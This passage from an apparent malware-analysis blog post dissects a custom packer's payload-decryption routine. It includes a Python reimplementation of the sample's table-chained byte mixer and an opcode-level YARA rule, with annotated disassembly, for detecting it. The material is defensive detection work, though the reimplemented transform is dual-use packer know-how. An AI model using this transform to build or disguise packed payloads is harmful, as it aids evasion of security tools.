A good rule begins to surface siblings that reuse the same routine, even if everything else around it has shifted. A weak rule just describes one binary very precisely and nothing more. Retro hunts make that difference obvious very quickly. If you want to dig deeper into how VirusTotal’s RetroHunt works and how to run these searches effectively, the official documentation covers it in detail: https://docs.virustotal.com/docs/retrohunt.

Alongside this external testing, it’s worth remembering that most security teams aren’t relying on VirusTotal alone. AV vendors, EDR teams, and internal detection groups usually run their own quality gates before anything ships. Rules get exercised against large cleanware corpora, regression sets, and performance testbeds to make sure they don’t light up on legitimate software or introduce scan-time overhead. False positives and slow rules are caught long before production.

Retro hunts are a way to sanity-check intent and coverage from the outside. Internal QA systems exist to do the unglamorous work at scale—proving that a rule is quiet, fast, and safe once it leaves the lab.

Custom Packer Logic: Payload Decryption Rule

Up to this point, everything we’ve seen has lived in the world of string decryption—small, repeatable routines cleaning up literals just in time for use. This block is where the scope changes. During initial static analysis in Detect It Easy, the resource section already stood out as compressed, so when scrolling through main and execution drops into a run of FindResource → LoadResource → LockResource calls, it’s a natural place to stop and look closer. What’s being pulled here isn’t just data—it’s a packed payload lifted straight out of .rsrc, staged in memory, and processed inside a do { … } while (…) loop via repeated calls to sub_401560, chewing through the buffer chunk by chunk. The final transformation happens in sub_40AC60, where the last pass transforms the extracted resource into its usable form. This is the point where the packer moves beyond string cleanup and reconstructs the real body of the sample.

Figure 21. Native loader lifting an encrypted payload from resources and rebuilding it in memory.

Figure 22. Final unpacking stage: sub_40AC60 reconstructs a .NET PE payload in memory, with EDI pointing at the newly materialized output buffer.

Even before we follow execution into sub_40AC60 (where the final payload transform lands), it’s worth pausing on sub_401560—because this is the “workhorse” that keeps getting hammered inside that do/while pipeline.

At a high level, sub_401560 is a table-driven byte mixer. It copies the input buffer to an output buffer, then rewrites the bytes using a 256×256 lookup table (sitting at this + 0x10000). But it’s not a simple byte-substitution: each byte’s replacement is keyed off a neighbor byte (next/previous), plus a small seed value stored at this[131104].

• If the chunk is 1 byte, it does a single lookup keyed by that seed.
• If it’s larger, it runs a forward pass (byte + next-byte), does a special keyed transform on the last byte (seed XOR 0x55), then runs a backward pass (byte + prev-byte), and finally re-writes the first byte again using the seed.

Net effect: it turns the buffer into a chained stream transform—each byte is influenced by its neighbors—so by the time we reach sub_40AC60, we’re not looking at “raw extracted resource data” anymore, we’re looking at something that’s already been aggressively stirred.

Figure 23. The IDA pseudocode for sub_401560 showing the chained mixing behavior.

#!/usr/bin/env python3
from __future__ import annotations

from pathlib import Path
import argparse
import sys

KEY_OFF = 0x20020
TABLE_BASE = 0x10000


def sub_401560_debug(state: bytes, src: bytes, debug: bool = False) -> bytes:
    size = len(src)
    if size < 1:
        return b""

    # sanity checks based on the exact indices used
    if len(state) <= KEY_OFF:
        raise ValueError(f"substitution_table.bin too small: need key byte at 0x{KEY_OFF:X}, got len=0x{len(state):X}")
    if len(state) < 0x20000:
        raise ValueError(f"substitution_table.bin too small: need at least 0x20000 bytes for table region, got len=0x{len(state):X}")

    out = bytearray(src)  # memcpy(a4, Src, Size)
    key = state[KEY_OFF] & 0xFF

    def dump(tag: str, buf: bytes, n: int = 64):
        if not debug:
            return
        head = buf[:n]
        print(f"\n[{tag}] len={len(buf)} key=0x{key:02X}")
        print(" head:", head.hex(" "))
        if len(buf) > n:
            tail = buf[-n:]
            print(" tail:", tail.hex(" "))

    dump("after memcpy", out)

    if size == 1:
        b0 = out[0]
        out[0] = state[TABLE_BASE + (256 * b0) + key]
        dump("final (size==1)", out)
        return bytes(out)

    # ---- forward pass ----
    # for (i = 0; i < Size-1; ++i)
    for i in range(size - 1):
        cur = out[i]
        nxt = out[i + 1]  # important: still "original" at that moment
        out[i] = state[TABLE_BASE + (256 * cur) + nxt]

    dump("after forward pass", out)

    # ---- last byte special ----
    last = out[size - 1]
    out[size - 1] = state[TABLE_BASE + (256 * last) + (key ^ 0x55)]

    dump("after last-byte special", out)

    # ---- backward pass ----
    for v7 in range(size - 1, 0, -1):
        cur = out[v7]
        prev = out[v7 - 1]
        out[v7] = state[TABLE_BASE + (256 * cur) + prev]

    dump("after backward pass", out)

    # ---- first byte final ----
    b0 = out[0]
    out[0] = state[TABLE_BASE + (256 * b0) + key]

    dump("final output", out)
    return bytes(out)


def main() -> int:
    ap = argparse.ArgumentParser()
    ap.add_argument("--state", default="substitution_table.bin")
    ap.add_argument("--input", default="input.bin")
    ap.add_argument("--output", default="output.bin")
    ap.add_argument("--size", type=int, default=1024)
    ap.add_argument("--debug", action="store_true")
    args = ap.parse_args()

    state = Path(args.state).read_bytes()
    data = Path(args.input).read_bytes()

    if len(state) < 0x20021:
        raise ValueError(f"substitution_table.bin length is 0x{len(state):X}; need at least 0x20021 (because key at 0x20020)")

    if len(data) < args.size:
        raise ValueError(f"input.bin too small: need {args.size} bytes, got {len(data)}")

    data = data[:args.size]
    out = sub_401560_debug(state, data, debug=args.debug)
    Path(args.output).write_bytes(out)

    print(f"\n[+] wrote {len(out)} bytes to {args.output}")
    return 0


if __name__ == "__main__":
    try:
        raise SystemExit(main())
    except Exception as e:
        print(f"[!] {e}", file=sys.stderr)
        raise SystemExit(1)

Figure 24. Python reimplementation of sub_401560, applying a chained 256×256 table-driven byte transform to an input buffer.

What stands out about sub_401560 is that it doesn’t look like any standard algorithm. The table lookups and neighbor-based chaining give it a very specific shape, which means the function itself is distinctive. That makes it a solid candidate for YARA-based detection: not because it’s sophisticated crypto, but because it’s custom, repeatable, and easy to recognize once you know what to look for.

import "pe"

rule Custom_Sub401560_TableChainedMixer_OpcodeOnly_v1
{
  meta:
    description   = "Demo-only: opcode-level YARA rule for detecting the sub_401560 table-chained byte mixer"
    author        = "AdversaryCraft"
    sample_sha256 = "00da14d8bbe2c85a04314b0ac40c13ebb67fe6693af8e786e63a2c6f6a428b00"
    note          = "Illustrates function-centric detection when plaintext strings are absent (not production-ready)"

  strings:

    /*
      ===== HEAD ANCHOR =====
      Bytes                            Disassembly
      ------------------------------------------------------------
      55                               push    ebp
      8B 6C 24 0C                      mov     ebp, [esp+0Ch]
      83 FD 01                         cmp     ebp, 1
      57                               push    edi
      8B F9                            mov     edi, ecx
      0F 8C ?? ?? ?? ??                jl      loc_40164B
      8B 44 24 0C                      mov     eax, [esp+0Ch]
      56                               push    esi
      8B 74 24 18                      mov     esi, [esp+18h]
      55 50 56                         push    ebp; push eax; push esi
      E8 ?? ?? ?? ??                   call    _memcpy
      83 C4 0C                         add     esp, 0Ch
      83 FD 01                         cmp     ebp, 1
      75 20                            jnz     loc_4015AA
    */
    $head = {
      55
      8B 6C 24 0C
      83 FD 01
      57
      8B F9
      0F 8C ?? ?? ?? ??
      8B 44 24 0C
      56
      8B 74 24 18
      55 50 56
      E8 ?? ?? ?? ??
      83 C4 0C
      83 FD 01
      75 20
    }

    /*
      ===== FORWARD PASS CORE =====
      Bytes                            Disassembly
      ------------------------------------------------------------
      0F B6 14 30                      movzx   edx, byte ptr [eax+esi]
      0F B6 5C 30 01                   movzx   ebx, byte ptr [eax+esi+1]
      81 C2 00 01 00 00                add     edx, 100h
      C1 E2 08                         shl     edx, 8
      03 D7                            add     edx, edi
      8A 14 13                         mov     dl, [ebx+edx]
      88 14 30                         mov     [eax+esi], dl
      40                               inc     eax
      3B C1                            cmp     eax, ecx
      7C ??                            jl      loc_4015C0
    */
    $fwd = {
      0F B6 14 30
      0F B6 5C 30 01
      81 C2 00 01 00 00
      C1 E2 08
      03 D7
      8A 14 13
      88 14 30
      40
      3B C1
      7C ??
    }

    /*
      ===== LAST-BYTE SALT (key ^ 0x55) =====
      Bytes                            Disassembly
      ------------------------------------------------------------
      0F B6 87 20 00 02 00             movzx   eax, byte ptr [edi+20020h]
      0F B6 54 2E FF                   movzx   edx, byte ptr [esi+ebp-1]
      83 F0 55                         xor     eax, 55h
      81 C2 00 01 00 00                add     edx, 100h
      03 C7                            add     eax, edi
      C1 E2 08                         shl     edx, 8
      8A 04 02                         mov     al, [edx+eax]
      88 44 2E FF                      mov     [esi+ebp-1], al
    */
    $last = {
      0F B6 87 20 00 02 00
      0F B6 54 2E FF
      83 F0 55
      81 C2 00 01 00 00
      03 C7
      C1 E2 08
      8A 04 02
      88 44 2E FF
    }

    /*
      ===== BACKWARD PASS CORE =====
      Bytes                            Disassembly
      ------------------------------------------------------------
      0F B6 14 30                      movzx   edx, byte ptr [eax+esi]
      0F B6 4C 30 FF                   movzx   ecx, byte ptr [eax+esi-1]
      81 C2 00 01 00 00                add     edx, 100h
      C1 E2 08                         shl     edx, 8
      03 CF                            add     ecx, edi
      8A 0C 0A                         mov     cl, [edx+ecx]
      88 0C 30                         mov     [eax+esi], cl
      48                               dec     eax
      83 F8 01                         cmp     eax, 1
      7D ??                            jge     loc_401610
    */
    $bwd = {
      0F B6 14 30
      0F B6 4C 30 FF
      81 C2 00 01 00 00
      C1 E2 08
      03 CF
      8A 0C 0A
      88 0C 30
      48
      83 F8 01
      7D ??
    }

  condition:

    pe.is_pe and
    pe.machine == pe.MACHINE_I386 and
    filesize < 2000KB and

    $head and $fwd and $last and $bwd
}

Figure 25. Sample YARA rule illustrating opcode-level detection of the sub_401560 table-chained byte mixer.

Let’s look at how this rule is put together. Rather than trying to describe the entire function byte-for-byte, the rule anchors itself on a few deliberate checkpoints that reflect intent. These anchors line up with the main stages of the transform: setup, forward mixing, a special last-byte step, and the backward mix. We’ll walk through the $head, $fwd, $last, and $bwd sequences in turn, and why each one was chosen.

$head

The opening bytes aren’t interesting because they save registers or set up a stack frame. They matter because of what happens immediately after. The function copies an input buffer with memcpy, checks the size, and branches early if the length is one byte.

That combination—bulk copy followed by byte-wise handling—is the first signal that this isn’t a standard crypto primitive or library routine. The size check and conditional jump establish the structure of the function, while the register usage (edi as the table/state pointer, esi as the output buffer) stays consistent across builds.

This anchor tells us what kind of routine we’re in before any mixing logic even begins.

$fwd

The forward pass is where the behavior becomes distinctive. Each byte is rewritten using a lookup that depends on the next byte, not just its own value. The sequence of movzx, add 0x100, shl 8, and indexed table access isn’t incidental math—it’s how the code walks a 256×256 lookup table.

This pattern is unlikely to appear in benign code by accident, and it doesn’t resemble common encoders or stream ciphers. Anchoring here captures the neighbor-dependent mixing that defines the routine.

$last

The last byte is handled differently, and that difference is deliberate. Instead of using a neighboring byte, the code mixes in a fixed seed value read from [edi+0x20020], XORed with 0x55, before performing the table lookup.

This isn’t cleanup logic or bounds handling—it’s a special case baked into the transform. That makes it a strong discriminator: seeing this exact sequence strongly suggests you’re looking at the same routine.

$bwd

The backward pass runs the same table logic again, but this time it walks the buffer in reverse, pulling in the previous byte instead of the next one. That’s what gives the routine its full shape: a forward sweep, a one-off tweak at the end, and then a second pass back through the data.

Anchoring on this loop helps keep the rule honest. Plenty of code uses a single table-based pass; very little code does it twice, in opposite directions, with the same lookup mechanics. Requiring both $fwd and $bwd makes sure we’re matching the whole transform, not just a convenient slice of it.

As mentioned earlier, the next stage is to start testing the rule. Run a quick grep-style search, follow it up with a retrohunt to see what else the rule pulls in, and validate it against cleanware. From there, adjust the anchors, wildcards, and conditions as needed to balance performance and false positives before using it in any real pipeline.

Detection Considerations for Non-Custom Packers

This kind of opcode-level logic does not translate directly to common, non-custom packers like UPX, ASPack, or similar tools that are routinely used by legitimate software. Writing a static YARA rule against the unpacking stub of these packers will almost always produce false positives, because the stub is shared across thousands of clean binaries.

In those cases, the packer itself is not the signal. It only becomes relevant when it’s paired with malicious behavior downstream.

To handle this, most AV and EDR engines don’t scan the packed bytes in isolation. Instead, they unpack the file first—either through emulation or during execution—and then apply static and behavioral detection to the unpacked code. That’s where rules become meaningful: they match on the post-unpack logic, not the generic wrapper.

The trade-off is performance. Unpacking, emulating, and rescanning code is significantly heavier than a straight static scan. Engines have to decide when that cost is justified, which is why generic packers are usually tolerated unless other signals push the file down a deeper inspection path.

Custom packers don’t get that treatment. Their unpacking logic is unique, reusable across samples, and tightly coupled to the malware itself—making function-level static detection both safer and cheaper in comparison.

We’ll stop here for now. Part 2 will look at detection once known encryption algorithms replace custom routines.

References

VirusTotal Documentation – https://docs.virustotal.com/

YARA Documentation – https://yara.readthedocs.io/en/latest/

VirusShare – https://virusshare.com/